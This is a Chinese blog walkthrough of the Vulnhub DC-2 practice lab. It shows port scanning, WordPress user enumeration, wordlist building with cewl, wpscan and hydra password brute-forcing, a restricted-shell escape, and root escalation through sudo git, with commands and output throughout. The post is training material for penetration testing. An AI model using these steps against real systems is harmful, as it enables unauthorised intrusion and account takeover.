前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >每周打靶 | Vulnhub-DC2靶机渗透实战

每周打靶 | Vulnhub-DC2靶机渗透实战

作者头像
网络安全自修室
发布2023-09-02 17:18:22
2940
发布2023-09-02 17:18:22
举报
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

0x00前言

这是网络安全自修室每周带星球小伙伴一起实战的第2台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知!

靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!

攻击机:Kali Linux

靶机环境:192.168.241.136

所用工具:nmap | cewl | wpscan | hydra

0x01 知识点

  • WordPress
  • 绕过受限bash
  • Git提权

0x02 信息搜集

发现存在端口80和7744

sudo masscan --min-rate=10000 192.168.241.136 -p-

扫描端口及服务,发现7744为ssh服务

nmap -sV -sC -O 192.168.241.136 -p 7744,80

值得注意的是:

发现开了80端口却无法访问,是重定向到dc-2域名 可改如下hosts文件

代码语言:javascript
复制
win10路径:C:\Windows\System32\drivers\etc\hosts

linux路径:etc/hosts

添加ip对应域名

0x03 获取权限

发现页面存在Flag1,直接点击访问

提示使用cewl工具生成字典,登录账号发现下一个Flag

果断用wpscan列出用户

wpscan --url http://dc-2 -e u

代码语言:javascript
复制
admin
tom
jerry

用cewl生成字典

cewl http://dc-2 -w passwds.txt

用wpscan进行用户爆破

wpscan --url http://dc-2 -U users.txt -P passwds.txt

代码语言:javascript
复制
[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

通过jerry用户登录后台发现flag2

如果无法渗透wordpress,或者后台无上传点,提示走别的切入点

所以尝试hydra爆破ssh

hydra -L users.txt -P passwds.txt dc-2 -s 7744 ssh -vV

代码语言:javascript
复制
[7744][ssh] host: dc-2   login: tom   password: parturient
  • 登录ssh

ssh tom@dc-2 -p 7744

代码语言:javascript
复制
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

发现是一个受限的rbash, rbash是受限的shell的一种此外还有rbash、rksh和rsh,为什么要对shell进行限制呢,有以下几个原因:

  1. 提高安全性,防止黑客和渗透测试人员的入侵
  2. 限制一些会对系统造成危害的危险命令
  3. 为了提高渗透测试人员的个人能力,在一些靶机上设置受限的shell让测试人员绕过拿flag

直接rbash绕过获取到flag3.txt内容

代码语言:javascript
复制
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 赋值给a
$ export PATH=$PATH:/bin/ # 导入环境变量
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt  usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

或者使用Vi绕过

flag3.txt提示su切换jerry,使用之前后台爆破出来的密码成功登录,获取flag4.txt内容

代码语言:javascript
复制
jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
  • 提示最终的home,应该是要提权了,且是利用git

find / -perm -u=s -type f 2>/dev/null

发现没有find和git命令,通过sudo查看发现jerry用户无需root密码可以执行git

sudo -l

代码语言:javascript
复制
jerry@DC-2:/home$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

git提权

代码语言:javascript
复制
sudo git -p help # -p强制进入交互模式
!/bin/sh
  • 直接root权限获取最终finalflag
代码语言:javascript
复制
ls
final-flag.txt
# cat final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

0x04 总结

  • 爆破字典在没有获取的情况下,可以考虑使用cewl工具利用页面内容生成
  • 网站的后台账号密码,可以多尝试如ssh、远程桌面、Ftp等场景使用,毕竟每个人账号密码都有使用习惯
  • 绕过rbash有一定思路办法,总的来说并不难
  • Git提权是在有sudo权限情况下进入交互页面下可提权
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00前言
  • 0x01 知识点
  • 0x02 信息搜集
  • 0x03 获取权限
  • 0x04 总结
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档